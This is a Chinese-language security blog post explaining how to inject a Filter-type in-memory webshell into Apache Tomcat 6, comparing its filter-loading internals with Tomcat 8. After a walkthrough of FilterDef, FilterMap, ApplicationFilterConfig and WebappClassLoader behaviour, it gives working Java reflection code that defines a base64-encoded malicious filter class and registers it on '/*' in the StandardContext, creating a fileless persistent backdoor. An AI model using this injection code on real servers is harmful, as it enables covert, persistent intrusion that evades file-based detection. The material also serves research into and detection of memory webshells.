Java安全之Tomcat6 Filter内存马

回顾Tomcat8打法

先回顾下之前Tomcat789的打法

这里先抛开 7 8之间的区别, 在8中,最后add到filterchain的都是一个filterconfig对象

ApplicationFilterConfig包含了FilterDef对象

构造方法如下,如果当前filter属性为null会从FilterDef取filter的实例对象

ApplicationFilterConfig(Context context, FilterDef filterDef) throws ClassCastException, ClassNotFoundException, IllegalAccessException, InstantiationException, ServletException, InvocationTargetException, NamingException, IllegalArgumentException, NoSuchMethodException, SecurityException {
this.context = context;
this.filterDef = filterDef;
if (filterDef.getFilter() == null) {
this.getFilter();
} else {
this.filter = filterDef.getFilter();
this.getInstanceManager().newInstance(this.filter);
this.initFilter();
} }

FilterDef中存储了filterClass / filterName / filter 属性

public class FilterDef implements Serializable {
private static final long serialVersionUID = 1L;
private static final StringManager sm;
private String description = null;
private String displayName = null;
private transient Filter filter = null;
private String filterClass = null;
private String filterName = null;
private String largeIcon = null;
private final Map<String, String> parameters = new HashMap();
private String smallIcon = null;
private String asyncSupported = null; public FilterDef() {
}

再有就是createFilterChain中还涉及到filterMap

FilterMap里主要存放urlpatterner和filterName的映射

public class FilterMap extends XmlEncodingBase implements Serializable {
private static final long serialVersionUID = 1L;
public static final int ERROR = 1;
public static final int FORWARD = 2;
public static final int INCLUDE = 4;
public static final int REQUEST = 8;
public static final int ASYNC = 16;
private static final int NOT_SET = 0;
private int dispatcherMapping = 0;
private String filterName = null;
private String[] servletNames = new String[0];
private boolean matchAllUrlPatterns = false;
private boolean matchAllServletNames = false;
private String[] urlPatterns = new String[0];
  • tomcat8下注入filter内存马流程如下:

  • FilterDef: 设置 setFilter(Filter filter) setFilterName(String filterName) setFilterClass(String filterClass) 这里filterName和filterClass应该不是一个东西,最后调用StandardContext#addFilterDef将该恶意filterdef put到this.filterDefs

  • FilterMap: addURLPattern("/*") setFilterName(String filterName) setDispatcher(DispatcherType.REQUEST.name()),最后调用StandardContext#addFilterMapBefore(filtermap) 添加到this.filterMaps

  • ApplicationFilterConfig: 调用有参构造将FilterDef作为参数传递进去后调有参构造实例化一个ApplicationFilterConfig,最终put进standardcontext的属性里去。

探索Tomcat6与Tomcat8之间的区别

主要看下tomcat6和tomcat8之间createFilterChain不相同的地方 看到ApplicationFilterFactory#createFilterChain

跟进getFilter

主要代码如下:

所以这里构造filterDef的时候filterClass为evilfilter的全类名即可

再来看下FilterDef 可以发现确实在Tomcat6下面没有filter这个属性了

所以一个很大的区别就是在getFilter方法,也就是获取filter实例对象的逻辑:

Tomcat8中是通过filterDef的属性filter值来拿到 恶意filter实例

Tomcat6中是通过filterDef的属性filterClass属性作为类名,通过ClassLoader去实例化

这里当我们调用有参构造实例化ApplicationFilterConfig时,会进入getFilter方法逻辑内

重点看loadClass方法是否可以加载到我们的恶意filter,因为这个filter并不是真实存在,且我们也只是通过了当前线程去defineClass的

跟进WebappClassLoader#loadClass

看到this.findLoadedClass0(name)从resourceEntries也就是classes下各个包中的.class找,是否有这个类,有的话直接return 这个entry的loadClass属性

这个属性存储的是该类的class对象,如果这里面有该类名,后面就直接resovleClass了

这里肯定是没有我们的恶意filter,继续往下跟

后面直接调用java.lang.ClassLoader#findLoadedClass来通过ClassLoader去找是否已经加载过该class了

而在这里是直接找到了

查阅开发资料并思考了一下:

这里因为我们之前是通过当前线程上下文加载器把恶意filter给loadClass了,所以这里就是可以找到的

后面随手翻了下classloader的属性,发现在classes属性是存在该filter的class的

那么正好来debug一下当前线程上下文ClassLoader#loadClass的过程

可以看到当前上下文的ClassLoader就是WebappClassLoader,并且此时classes属性里并没有我们的恶意类

而当步过defineClass后,当前线程上下文ClassLoader也就是WebappClassLoaderclasses属性中就新增了我们的恶意filter的class

所以后续在getFilter的逻辑中也是可以成功通过

回溯上面的逻辑时,getFilter方法因为会走到这个else逻辑内,所以最终也是通过WebappClassLoader#loadClass的我们的恶意filter

以上,所以因为我们前面调用的是Thread.currentThread().getContextClassLoader()去加载的我们恶意filter类,而tomcat6中getFilter逻辑是通过this.context.getLoader().getClassLoader();去findClass,而这两个ClassLoader又同为WebappClassLoader所以不会存在ClassNotfound的问题。 所以tomcat6中注入filter内存马就不需要先实例化恶意filter存到filterDef中,直接使用Thread.currentThread().getContextClassLoader()defineClass一下恶意filter即可。

注入内存马的主要代码如下:

Method var1 = ClassLoader.class.getDeclaredMethod("defineClass", byte[].class, Integer.TYPE, Integer.TYPE);
var1.setAccessible(true);
byte[] var2 = base64decode("base64 str");
var1.invoke(Thread.currentThread().getContextClassLoader(), var2, 0, var2.length); try { if (STANDARDCONTET != null) {
// 1 反射获取filterDef
Class FilterDefClass = Class.forName("org.apache.catalina.deploy.FilterDef");
Constructor FilterDefconstructor = FilterDefClass.getConstructor(new Class[]{});
Object filterDef = FilterDefconstructor.newInstance(); // 2 设置filtername
Method setFilterNameMethod = FilterDefClass.getDeclaredMethod("setFilterName", String.class);
setFilterNameMethod.invoke(filterDef,filterName); // 3 setFilterClass
Method setFilterClassMethod = FilterDefClass.getDeclaredMethod("setFilterClass", String.class);
setFilterClassMethod.invoke(filterDef,Thread.currentThread().getContextClassLoader().loadClass("HiganbanaFilter").getName()); // 4 addFilterDef
Method addFilterDef=STANDARDCONTET.getClass().getMethod("addFilterDef", FilterDefClass);
addFilterDef.invoke(STANDARDCONTET,filterDef); // 构造FilterMap
Class FilterMapClass = Class.forName("org.apache.catalina.deploy.FilterMap");
Object filterMap = FilterMapClass.newInstance(); Method setFilterNameMethod2 = FilterMapClass.getDeclaredMethod("setFilterName", String.class);
setFilterNameMethod2.invoke(filterMap,FilterDefClass.getDeclaredMethod("getFilterName").invoke(filterDef));
Method setDispatcherMethod = FilterMapClass.getDeclaredMethod("setDispatcher", String.class);
setDispatcherMethod.invoke(filterMap,"REQUEST");
Method addURLPatternMethod = FilterMapClass.getDeclaredMethod("addURLPattern", String.class);
addURLPatternMethod.invoke(filterMap,"/*"); Method addFilterMapMethod=STANDARDCONTET.getClass().getDeclaredMethod("addFilterMap", FilterMapClass);
addFilterMapMethod.invoke(STANDARDCONTET,filterMap); // 创建filterconfig 并添加到standardcontext.filterconfigs数组里
Class filterConfigClass = Class.forName("org.apache.catalina.core.ApplicationFilterConfig");
Constructor filterConfigCon = filterConfigClass.getDeclaredConstructor(Class.forName("org.apache.catalina.Context"), Class.forName("org.apache.catalina.deploy.FilterDef"));
filterConfigCon.setAccessible(true);
// 实例化ApplicationFilterConfig时触发getFilter方法
Object filterConfigObj = filterConfigCon.newInstance(STANDARDCONTET, filterDef); Field filterConfigsField = STANDARDCONTET.getClass().getDeclaredField("filterConfigs");
filterConfigsField.setAccessible(true);
HashMap filterConfigsMap = (HashMap) filterConfigsField.get(STANDARDCONTET);
filterConfigsMap.put(filterName, filterConfigObj); } } catch (Throwable var16) {
var16.printStackTrace();
}

Java安全之Tomcat6 Filter内存马的更多相关文章

  1. 6. 站在巨人的肩膀学习Java Filter型内存马

    本文站在巨人的肩膀学习Java Filter型内存马,文章里面的链接以及图片引用于下面文章,参考文章: <Tomcat 内存马学习(一):Filter型> <tomcat无文件内存w ...

  2. 【免杀技术】Tomcat内存马-Filter

    Tomcat内存马-Filter型 什么是内存马?为什么要有内存马?什么又是Filter型内存马?这些问题在此就不做赘述 Filter加载流程分析 tomcat启动后正常情况下对于Filter的处理过 ...

  3. Weblogic下的servlet内存马注入-无参照纯调试

    目录 1.寻找servlet注入方法 1.1 调试 1.2 servletMapping添加servlet 2.获取request 2.1 从当前线程寻找信息 2.2 JNDI注入到内存马注入 3.关 ...

  4. tomcat内存马原理解析及实现

    内存马 简介 ​ Webshell内存马,是在内存中写入恶意后门和木马并执行,达到远程控制Web服务器的一类内存马,其瞄准了企业的对外窗口:网站.应用.但传统的Webshell都是基于文件类型的,黑客 ...

  5. 利用shiro反序列化注入冰蝎内存马

    利用shiro反序列化注入冰蝎内存马 文章首发先知社区:https://xz.aliyun.com/t/10696 一.shiro反序列化注入内存马 1)tomcat filter内存马 先来看一个普 ...

  6. Java安全之基于Tomcat的Filter型内存马

    Java安全之基于Tomcat的Filter型内存马 写在前面 现在来说,内存马已经是一种很常见的攻击手法了,基本红队项目中对于入口点都是选择打入内存马.而对于内存马的支持也是五花八门,甚至各大公司都 ...

  7. Java Filter型内存马的学习与实践

    完全参考:https://www.cnblogs.com/nice0e3/p/14622879.html 这篇笔记,来源逗神的指点,让我去了解了内存马,这篇笔记记录的是filter类型的内存马 内存马 ...

  8. Java安全之反序列化回显与内存马

    Java安全之反序列化回显与内存马 0x00 前言 按照我个人的理解来说其实只要能拿到Request 和 Response对象即可进行回显的构造,当然这也是众多方式的一种.也是目前用的较多的方式.比如 ...

  9. Java安全之基于Tomcat实现内存马

    Java安全之基于Tomcat实现内存马 0x00 前言 在近年来红队行动中,基本上除了非必要情况,一般会选择打入内存马,然后再去连接.而落地Jsp文件也任意被设备给检测到,从而得到攻击路径,删除we ...

随机推荐

  1. Java开发学习(二十六)----SpringMVC返回响应结果

    SpringMVC接收到请求和数据后,进行了一些处理,当然这个处理可以是转发给Service,Service层再调用Dao层完成的,不管怎样,处理完以后,都需要将结果告知给用户. 比如:根据用户ID查 ...

  2. [CF1525D] Armchairs (DP / 模拟费用流)

    题面简述 一条线上等距地分布着 n n n 老鼠和 m m m 洞( m ≥ n m\geq n m≥n),这连续 n + m n+m n+m 个位置上要么是老鼠要么是洞,一个老鼠进一个洞,代价是所有 ...

  3. 【MySQL】从入门到精通7-设计多对多数据库

    上期:[MySQL]从入门到精通6-MySQL数据类型与官方文档 第一章:理解 和一对多不一样,多对多意思是,一个数据可以被不同的数据关联. 如果是一对多,我们还可以用外键来达成. 但是现在我们是多对 ...

  4. 记一次 .NET 某金融企业 WPF 程序卡死分析

    一:背景 1. 讲故事 前段时间遇到了一个难度比较高的 dump,经过几个小时的探索,终于给找出来了,在这里做一下整理,希望对大家有所帮助,对自己也是一个总结,好了,老规矩,上 WinDBG 说话. ...

  5. 手把手教你搭建规范的团队vue项目,包含commitlint,eslint,prettier,husky,commitizen等等

    目录 1,前言 2,创建项目 2,安装vue全家桶 3,配置prettier 4,配置eslint 5,配置husky + git钩子 6,配置commitlint 6.1,配置commitlint格 ...

  6. KingbaseES V8R6备份恢复案例之---同一数据库创建不同stanza备份

    案例说明: 在生产环境,有的应用需要调用数据库的sys_rman做备份,为了区分数据库自身的sys_rman备份和应用的备份,可以使用不同的stanza name创建备份.本案例介绍了,如何在King ...

  7. winform,隐藏窗体

    public Form1()        {            InitializeComponent();            this.WindowState = FormWindowSt ...

  8. [Python]-openpyxl模块Excel数据处理-读取公式的结果

    日常需要Python来处理各种数据,处理Excel数据常用的库一般有openpyxl.xlrd(读取).xlwt(写入). 经过对比发现openpyxl模块比较好用. openpyxl模块 这篇笔记比 ...

  9. Idea插件SequenceDiagram快速查看方法调用

    Idea打开setting->plugins安装插件SequenceDiagram 快速查看方法调用 在方法名上右键点击SequenceDiagram即可生成方法调用图 最上面一行为该方法涉及的 ...

  10. 运用Filebeat module分析nginx日志

    在同一台主机上事先安装好filebeat,elasticsearch和kibana filebeat配置 安装完Filebeat后,可以看到在Filebeat的安装目录下有一个叫做filebeat.y ...